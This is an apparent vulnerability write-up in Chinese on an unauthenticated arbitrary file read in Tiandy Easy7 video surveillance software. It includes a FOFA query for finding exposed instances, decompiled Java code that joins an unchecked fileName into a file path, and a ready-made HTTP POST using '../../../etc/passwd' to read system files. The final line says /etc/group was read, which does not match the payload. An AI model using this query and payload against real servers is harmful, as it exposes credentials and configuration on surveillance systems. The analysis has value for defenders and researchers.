漏洞简介
天地伟业Easy7是一款用于视频监控管理的软件系统。
该系统的/Easy7/rest/file/downloadWordRecord接口存在前台任意文件读取漏洞,攻击者通过构造恶意路径参数(如/etc/passwd)可读取服务器上的任意文件,可能导致敏感信息泄露(如系统配置文件、用户凭证等)。由于天地伟业产品多用于关键基础设施领域,若存在公网暴露实例,可能带来严重的安全风险。
影响版本
fofa语法
body="/Easy7/apps/WebService/LogIn.jsp" || body="Easy7/VideoLib.EXE" || body="/Easy7/index.html" || (body="<img src=\"./images/ico/Easy7_logo_transparent.png") && title="平台"
漏洞分析
首先,该系统基于Spring 3.0,比较古老且WEB-INF/web.xml里没有配置任何filter进行权限校验,因此绝大部分接口都是可以直接访问的。
再来看本次的漏洞接口 /Easy7/rest/file/downloadWordRecord 的对应方法downloadWordRecord()的实现逻辑
@Controller
@RequestMapping({"/file"})
public class CLS_REST_File {
@Resource(
name = "boSystemInfo"
)
private CLS_BO_SystemInfo boSystemInfo;
@Resource(
name = "boFile"
)
private CLS_BO_File boFile;
@Resource(
name = "boPROXY"
)
private CLS_BO_PROXY boPROXY;
private static final Log log = LogFactory.getLog(CLS_REST_File.class);
@RequestMapping({"/downloadWordRecord"})
public void downloadWordRecord(HttpServletRequest request, HttpServletResponse response, CLS_VO_File voFile) throws IOException {
String path = CLS_Easy7_Types.file_path_znxc;
CLS_VO_Result result = new CLS_VO_Result();
String fileName = voFile.getFileName();
String fullName = voFile.getFullName();
String newPath = path + fileName;
File isFile = new File(newPath);
if (!isFile.exists()) {
result.setRet(-7);
response.getWriter().print(JSONObject.fromObject(result));
} else {
ServletOutputStream out = response.getOutputStream();
String retFilename = "";
if (fullName != null && !"".equals(fullName)) {
retFilename = fullName;
} else {
retFilename = fileName;
}
String ofileName = URLEncoder.encode(retFilename, "UTF-8");
response.setHeader("Content-disposition", "attachment;filename=" + new String(ofileName.getBytes("UTF-8"), "UTF-8") + ".doc");
BufferedInputStream bis = null;
BufferedOutputStream bos = null;
try {
InputStream inputStream = new FileInputStream(newPath);
bis = new BufferedInputStream(inputStream);
bos = new BufferedOutputStream(out);
byte[] buff = new byte[2048];
int bytesRead;
while((bytesRead = bis.read(buff, 0, buff.length)) != -1) {
bos.write(buff, 0, bytesRead);
}
this.forwardInquestLog(request.getLocalPort(), voFile.getFullName());
其中 String path = CLS_Easy7_Types.file_path_znxc;为配置文件WEB-INF/classes/config.properties中配置的file_path_znxc的值,是固定的,然后将用户传递的参数fileName作为文件路径一部分传递进new FileInputStream(newPath);中进行文件操作,整个过程无任何校验或过滤,因此造成任意文件读取漏洞。
漏洞复现
POST /Easy7/rest/file/downloadWordRecord HTTP/1.1
Host: easy7.mrxn.net
Content-Type: application/x-www-form-urlencoded
fullName=1.png&fileName=../../../etc/passwd

成功读取到/etc/group文件内容


